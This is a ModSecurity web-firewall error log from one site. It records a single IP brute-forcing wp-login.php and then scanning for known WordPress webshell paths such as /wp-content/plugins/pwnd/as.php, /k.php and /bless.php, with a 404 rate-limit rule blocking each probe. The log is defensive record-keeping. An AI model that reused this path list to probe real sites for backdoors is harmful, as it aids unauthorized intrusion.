[Sat Feb 28 01:04:14.074001 2026] [:error] [pid 15099:tid 15154] [client 20.220.196.236:43968] [client 20.220.196.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.220.196.236, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHOjunvP2vtPjYDq_gvUgAAANU"]
[Sat Feb 28 01:04:19.858579 2026] [:error] [pid 15240:tid 15245] [client 20.220.196.236:43673] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aaHOky1iKL_41Rk9A9NnZgAAAAM"]
[Sat Feb 28 01:04:20.270819 2026] [:error] [pid 15100:tid 15166] [client 20.220.196.236:43613] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aaHOlEOEbzcINan_ctK5egAAAEY"]
[Sat Feb 28 01:04:20.682578 2026] [:error] [pid 38586:tid 38602] [client 20.220.196.236:43905] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aaHOlL_i6nvKNhjFW7UwSAAAAQ0"]
[Sat Feb 28 01:04:21.097232 2026] [:error] [pid 38620:tid 38625] [client 20.220.196.236:43615] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aaHOlQP6I7SRqrhh7RroxwAAAUM"]
[Sat Feb 28 01:04:21.510285 2026] [:error] [pid 38586:tid 38598] [client 20.220.196.236:43317] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aaHOlb_i6nvKNhjFW7UwUAAAAQk"]
[Sat Feb 28 01:04:21.933229 2026] [:error] [pid 38620:tid 38633] [client 20.220.196.236:43312] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aaHOlQP6I7SRqrhh7RroywAAAUs"]
[Sat Feb 28 01:04:22.346912 2026] [:error] [pid 38620:tid 38646] [client 20.220.196.236:43292] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aaHOlgP6I7SRqrhh7Rro0AAAAVg"]
[Sat Feb 28 01:04:22.760088 2026] [:error] [pid 15099:tid 15143] [client 20.220.196.236:43318] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aaHOlunvP2vtPjYDq_gvWgAAAMo"]
[Sat Feb 28 01:04:23.172545 2026] [:error] [pid 15240:tid 15252] [client 20.220.196.236:44027] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aaHOly1iKL_41Rk9A9NnaQAAAAo"]
[Sat Feb 28 01:04:23.585933 2026] [:error] [pid 15240:tid 15253] [client 20.220.196.236:43587] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aaHOly1iKL_41Rk9A9NnbgAAAAs"]
[Sat Feb 28 01:04:23.998897 2026] [:error] [pid 15240:tid 15249] [client 20.220.196.236:43268] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aaHOly1iKL_41Rk9A9NndgAAAAc"]
[Sat Feb 28 01:04:24.412767 2026] [:error] [pid 15099:tid 15152] [client 20.220.196.236:43980] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aaHOmOnvP2vtPjYDq_gvWwAAANM"]
[Sat Feb 28 01:04:24.825545 2026] [:error] [pid 15240:tid 15254] [client 20.220.196.236:43708] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/setup-config.php"] [unique_id "aaHOmC1iKL_41Rk9A9NneQAAAAw"]
[Sat Feb 28 01:04:25.238026 2026] [:error] [pid 15240:tid 15242] [client 20.220.196.236:43327] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/setup-config.php"] [unique_id "aaHOmS1iKL_41Rk9A9NnewAAAAA"]
[Sat Feb 28 01:04:25.649481 2026] [:error] [pid 15240:tid 15258] [client 20.220.196.236:43282] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/setup-config.php"] [unique_id "aaHOmS1iKL_41Rk9A9NnfQAAABA"]
[Sat Feb 28 01:04:26.064840 2026] [:error] [pid 38620:tid 38645] [client 20.220.196.236:43554] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/setup-config.php"] [unique_id "aaHOmgP6I7SRqrhh7Rro3wAAAVc"]
[Sat Feb 28 01:04:26.476864 2026] [:error] [pid 38620:tid 38636] [client 20.220.196.236:43995] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaHOmgP6I7SRqrhh7Rro4gAAAU4"]
[Sat Feb 28 01:04:26.890182 2026] [:error] [pid 15099:tid 15149] [client 20.220.196.236:43929] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaHOmunvP2vtPjYDq_gvYAAAANA"]
[Sat Feb 28 01:04:27.303822 2026] [:error] [pid 38620:tid 38629] [client 20.220.196.236:44026] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaHOmwP6I7SRqrhh7Rro5wAAAUc"]
[Sat Feb 28 01:04:27.719208 2026] [:error] [pid 38586:tid 38606] [client 20.220.196.236:43530] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaHOm7_i6nvKNhjFW7UwZgAAARE"]
[Sat Feb 28 01:04:28.131329 2026] [:error] [pid 38620:tid 38645] [client 20.220.196.236:43972] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aaHOnAP6I7SRqrhh7Rro8AAAAVc"]
[Sat Feb 28 01:04:28.540665 2026] [:error] [pid 38620:tid 38640] [client 20.220.196.236:43601] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aaHOnAP6I7SRqrhh7Rro8wAAAVI"]
[Sat Feb 28 01:04:28.949949 2026] [:error] [pid 38620:tid 38625] [client 20.220.196.236:43618] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aaHOnAP6I7SRqrhh7Rro9QAAAUM"]
[Sat Feb 28 01:04:29.362538 2026] [:error] [pid 15240:tid 15250] [client 20.220.196.236:43293] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aaHOnS1iKL_41Rk9A9NnhAAAAAg"]
[Sat Feb 28 01:04:29.775246 2026] [:error] [pid 38620:tid 38636] [client 20.220.196.236:43583] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/init.php"] [unique_id "aaHOnQP6I7SRqrhh7Rro_wAAAU4"]
[Sat Feb 28 01:04:30.188629 2026] [:error] [pid 15100:tid 15179] [client 20.220.196.236:43548] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/init.php"] [unique_id "aaHOnkOEbzcINan_ctK5jQAAAFM"]
[Sat Feb 28 01:04:30.599166 2026] [:error] [pid 15100:tid 15180] [client 20.220.196.236:44021] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/init.php"] [unique_id "aaHOnkOEbzcINan_ctK5jgAAAFQ"]
[Sat Feb 28 01:04:31.010375 2026] [:error] [pid 38620:tid 38641] [client 20.220.196.236:44013] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/init.php"] [unique_id "aaHOnwP6I7SRqrhh7RrpAAAAAVM"]
[Sat Feb 28 01:04:31.425429 2026] [:error] [pid 38620:tid 38627] [client 20.220.196.236:43754] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aaHOnwP6I7SRqrhh7RrpAwAAAUU"]
[Sat Feb 28 01:04:31.835557 2026] [:error] [pid 38586:tid 38597] [client 20.220.196.236:43300] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aaHOn7_i6nvKNhjFW7UwcwAAAQg"]
[Sat Feb 28 01:04:32.247027 2026] [:error] [pid 38586:tid 38609] [client 20.220.196.236:43939] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aaHOoL_i6nvKNhjFW7UwdQAAARQ"]
[Sat Feb 28 01:04:32.661477 2026] [:error] [pid 15098:tid 15127] [client 20.220.196.236:43528] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aaHOoMkFqny8dQQbmTkfEAAAAJU"]
[Sat Feb 28 01:04:33.073177 2026] [:error] [pid 38620:tid 38643] [client 20.220.196.236:43987] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aaHOoQP6I7SRqrhh7RrpCAAAAVU"]
[Sat Feb 28 01:04:33.488559 2026] [:error] [pid 38620:tid 38638] [client 20.220.196.236:43279] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aaHOoQP6I7SRqrhh7RrpDgAAAVA"]
[Sat Feb 28 01:04:33.902864 2026] [:error] [pid 38586:tid 38607] [client 20.220.196.236:43539] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aaHOob_i6nvKNhjFW7UwgQAAARI"]
[Sat Feb 28 01:04:34.315719 2026] [:error] [pid 38586:tid 38609] [client 20.220.196.236:43955] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aaHOor_i6nvKNhjFW7UwhQAAARQ"]
[Sat Feb 28 01:04:34.752188 2026] [:error] [pid 38586:tid 38592] [client 20.220.196.236:43625] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aaHOor_i6nvKNhjFW7UwiQAAAQM"]
[Sat Feb 28 01:04:35.163629 2026] [:error] [pid 38620:tid 38644] [client 20.220.196.236:43768] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aaHOowP6I7SRqrhh7RrpGQAAAVY"]
[Sat Feb 28 01:04:35.574845 2026] [:error] [pid 38620:tid 38640] [client 20.220.196.236:43313] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aaHOowP6I7SRqrhh7RrpGwAAAVI"]
[Sat Feb 28 01:04:35.986409 2026] [:error] [pid 38620:tid 38646] [client 20.220.196.236:43643] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aaHOowP6I7SRqrhh7RrpHwAAAVg"]
[Sat Feb 28 01:04:36.395456 2026] [:error] [pid 15240:tid 15252] [client 20.220.196.236:43636] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X7x.php"] [unique_id "aaHOpC1iKL_41Rk9A9NniAAAAAo"]
[Sat Feb 28 01:04:36.806082 2026] [:error] [pid 38620:tid 38632] [client 20.220.196.236:43917] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X7x.php"] [unique_id "aaHOpAP6I7SRqrhh7RrpIwAAAUo"]
[Sat Feb 28 01:04:37.218933 2026] [:error] [pid 15240:tid 15244] [client 20.220.196.236:43911] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X7x.php"] [unique_id "aaHOpS1iKL_41Rk9A9NnigAAAAI"]
[Sat Feb 28 01:04:37.630604 2026] [:error] [pid 15099:tid 15134] [client 20.220.196.236:43849] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X7x.php"] [unique_id "aaHOpenvP2vtPjYDq_gvaAAAAME"]
[Sat Feb 28 01:04:38.054128 2026] [:error] [pid 15100:tid 15180] [client 20.220.196.236:43979] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/166.php"] [unique_id "aaHOpkOEbzcINan_ctK5mwAAAFQ"]
[Sat Feb 28 01:04:38.467575 2026] [:error] [pid 38620:tid 38628] [client 20.220.196.236:43969] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/166.php"] [unique_id "aaHOpgP6I7SRqrhh7RrpKQAAAUY"]
[Sat Feb 28 01:04:38.880170 2026] [:error] [pid 38620:tid 38631] [client 20.220.196.236:44025] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/166.php"] [unique_id "aaHOpgP6I7SRqrhh7RrpKgAAAUk"]
[Sat Feb 28 01:04:39.293000 2026] [:error] [pid 15100:tid 15176] [client 20.220.196.236:43611] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/166.php"] [unique_id "aaHOp0OEbzcINan_ctK5nwAAAFA"]
[Sat Feb 28 01:04:39.703310 2026] [:error] [pid 15100:tid 15179] [client 20.220.196.236:43271] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plss3.php"] [unique_id "aaHOp0OEbzcINan_ctK5oQAAAFM"]
[Sat Feb 28 01:04:40.114463 2026] [:error] [pid 38620:tid 38646] [client 20.220.196.236:43553] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plss3.php"] [unique_id "aaHOqAP6I7SRqrhh7RrpLAAAAVg"]
[Sat Feb 28 01:04:40.527552 2026] [:error] [pid 15099:tid 15155] [client 20.220.196.236:43925] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plss3.php"] [unique_id "aaHOqOnvP2vtPjYDq_gvbwAAANY"]
[Sat Feb 28 01:04:40.942266 2026] [:error] [pid 15100:tid 15161] [client 20.220.196.236:43872] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plss3.php"] [unique_id "aaHOqEOEbzcINan_ctK5pwAAAEE"]
[Sat Feb 28 01:04:41.357659 2026] [:error] [pid 38620:tid 38627] [client 20.220.196.236:43932] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/about.php"] [unique_id "aaHOqQP6I7SRqrhh7RrpLQAAAUU"]
[Sat Feb 28 01:04:41.769698 2026] [:error] [pid 15240:tid 15262] [client 20.220.196.236:43626] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/about.php"] [unique_id "aaHOqS1iKL_41Rk9A9NnmAAAABQ"]
[Sat Feb 28 01:04:42.180879 2026] [:error] [pid 15100:tid 15166] [client 20.220.196.236:43584] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/about.php"] [unique_id "aaHOqkOEbzcINan_ctK5rQAAAEY"]
